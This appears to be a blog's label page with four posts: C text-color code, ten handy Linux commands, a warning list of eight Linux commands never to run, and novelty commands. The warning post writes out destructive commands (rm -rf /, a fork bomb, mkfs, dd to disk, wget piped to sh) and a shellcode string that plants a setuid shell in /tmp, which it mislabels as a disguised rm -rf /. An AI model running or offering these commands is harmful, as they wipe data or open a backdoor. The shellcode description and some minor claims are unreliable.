Showing posts with label Commands. Show all posts

Changing Text Color In C/C++ Programming Language

Are you a newbie programmer learning C/C++ Programming Languages. Here is a new trick for you to make others and your classmates surprise. This trick will tell you, how you can change the Text Color, Blink a Text, or Change the Background Color.


textcolor function is used to change the color of drawing text in c programs.

Declaration :- void textcolor(int color);
where color is an integer variable. For example 0 means BLACK color, 1 means BLUE, 2 means GREEN and soon. You can also use write appropriate color instead of integer. For example you can write textcolor(YELLOW); to change text color to YELLOW. But use colors in capital letters only.

A List of Color codes can be found here : Color-Table

1. C programming code to change text color

#include<stdio.h>
#include<conio.h>
 
void main()
{
   textcolor(RED);
   cprintf("C programming");
 
   getch();
   
}

2. C programming code to BLINK the Text

#include<stdio.h>
#include<conio.h>
 
void main()
{
   textcolor(MAGENTA+BLINK);
   cprintf("C programming");
 
   getch();
   
}

Note that we have used cprintf function instead of printf. This is because cprintf send formatted output to text window on screen and printf sends it to stdin.

10 Super Powerful Linux Commands You Should Know !

We always say that the most powerful Linux tools are its Command lines. This is because you can do about everything right from your command line. You can easily explain your computer exactly what you require and it comes back to you with appropriate results. Infact there are some commands that make this tool even more powerful! Here we bring to you a list of 10 such commands that work like energy drinks for you Linux machines!



1. Runing the last command as Root

sudo !!

Also if you want to open some file to make changes and right when want to save it, you realise that you forgot to open it as root, there is nothing to worry. The command above is your solution.

2. To find your external IP address.

curl ifconfig.me

3. Run your previous command with replacing “foo” with “bar”

^foo^bar

Or alternatively you can use the below command:

!!:gs/foo/bar

Also after running a long command, if you realise that you have made a mistake, this command helps you replace that one word instead of running the whole command again, unlike the previous command which can only replace foo.

4. Auto-empty any file without removing it

> file.txt

5. Execute command without saving it in the history

command

6. Slick way to copy or backup a file before you edit it.

cp filename{,.bak}

7. Traceroute is a nice command but how about a single network diagnostic tool that can combine traceroute with ping? mtr is your command.

mtr efytimes.com

8. To Clear your terminal's screen

ctrl-l

9. List of commands you use most often

history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head

10. Saving the file you edited in vim/vi without the required permissions

:w !sudo tee %

Warning ! : Don't Run These 8 Commands on Linux Ever !!!

Linux's terminal commands are undowbtedly very useful. The fact that Linux won't ask you for confirmation if you run a command that won't break your system makes online trolls into luring you into running some not so very useful, but dangerous commands. Keeping your eyes opened is therefore a prime necessity !




1.  rm -rf /

     Deletes everything including files on your hard drive and files on connected removable media devices.

     rm - Remove the following files.
     -rf - Run rm recursively and force-remove all files without prompting you.
    /  - Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices.

     including remote file shares and removable drives.


2.  Disguised rm -rf /

     Actually, the hex version of rm -rf / - wipes out your files just as if you had run rm -rf/.

    char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";


3.  :(){ :|: & };:

    This bash command is actually a denial-of-service attack. It defines a shell function that creates new copies of itself that

continually replicates itself quickly taking up all your CPU time and memory causing your computer to freeze.


4.  mkfs.ext4 /dev/sda1

     Equivalent to running format c: on Windows.

mkfs.ext4 – Create a new ext4 file system on the following device.

/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.


5.  command > /dev/sda

    Writes the data directly to the hard disk drive and damaging your file system.

command – Run a command (can be any command.)

> – Send the output of the command to the following location.

/dev/sda – Write the output of the command directly to the hard disk device.


6.   dd if=/dev/random of=/dev/sda

    dd – Perform low-level copying from one location to another.

if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).

of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.


7.   mv ~ /dev/null

    Moves your home directory to a black hole.

mv – Move the following file or directory to another location.

~ – Represents your entire home folder.

/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.


8.   wget http://example.com/something -o - | sh

    Downloads and runs a script.

wget – Downloads a file. (You may also see curl in place of wget.)

http://example.com/something – Download the file from this location.

| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh – Send the file to the sh command, which executes it if it’s a bash script.

Top 8 Funny Linux Commands !

The most powerful feature of Linux lies in its Command Line. But Terminal isn't meant to be this serious always, you can also have fun using some funny and amusing command lines. If you aren't aware of these yet, here are some amusing commands that will bring up the funny side of Linux:


1.  moo

     To install, run : $ apt-get moo

     This will display:
   

2.   sl
      
      The command is used to display files in a directory, but if you make a typo error and type sl instead you will be amused by an animated train running across your screen.

   

   To install sl, run the command below: $ sudo apt-get install sl

3.  figlet

     Figlet is used to display large characters created out of ordinary screen characters.
     To install Figlet, run the command :
        $ sudo apt-get install figlet

    After installation you can run : $ figlet character, hence running:

      figlet THE Coders
      gives
      

4.   xcowsay
    
       xcowsay displays a cute cow and a speech bubble.

       Install xcowsay : $ sudo apt-get install xcowsay

       Running xcowsay I Love THE Coder displays:

       

5.   oneko

      oneko brings a cute cat on your desktop to chase your mouse pointer everywhere it goes. The command also have other versions of bringing dog and other animals.

     Install oneko : $ sudo apt-get install oneko

     Running oneko displays this cute cat:


6. xeyes

     Xeyes brings eyes on your desktop that will spy on your mouse wherever it goes.

    Run : $ xeyes

     It brings: 
     

7.  rev

      This command is for reversing any input. So if you put in "THE Coders", the ouput will be
 "sredoC EHT"
    

8.  fortune
  
     fortune brings a random sentence, just like the fortune cookies do. The command isn't always installed by default so you need to install it. In Ubuntu

    $ sudo apt-get install fortune

   Run : $ fotune -s

     

    Now, also you can combine this with the cowsay or xcowsay command to make it funnier by running:

    $ fortune -s|xcowsay

     Which will bring :